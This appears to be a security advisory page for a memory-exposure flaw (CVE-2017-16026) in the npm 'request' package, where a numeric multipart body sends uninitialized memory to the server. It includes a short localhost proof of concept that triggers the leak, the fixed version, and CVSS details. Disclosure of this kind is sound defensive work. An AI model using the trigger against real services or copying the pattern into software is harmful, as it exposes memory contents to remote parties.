Medium

Remote Memory Exposure in request

  • Disclosed: 09.11.2018
  • Updated: 11.10.2026 10:22

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

js
var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package request >= 2.49.0, < 2.68.0, >= 2.2.6, < 2.68.0 2.68.0

References

CVSS score 5.9/10
CVSS vector
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-201
Platform
npm
Package
request
Disclosed
09.11.2018
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7xfp-9c55-5vqj - CC BY 4.0

Vulnerability history: request

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
2
First → latest
11.2018 03.2023
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Medium 2

Disclosures per year

  1. 2018: 1
  2. 2019: 0
  3. 2020: 0
  4. 2021: 0
  5. 2022: 0
  6. 2023: 1
  7. 2024: 0
  8. 2025: 0
  9. 2026: 0
  1. Medium · 6.1 CVE-2023-28155 <= 2.88.2 no fix
  2. Remote Memory Exposure in request this entry
    Medium · 5.9 CVE-2017-16026 >= 2.49.0, < 2.68.0, >= 2.2.6, < 2.68.0 2.68.0

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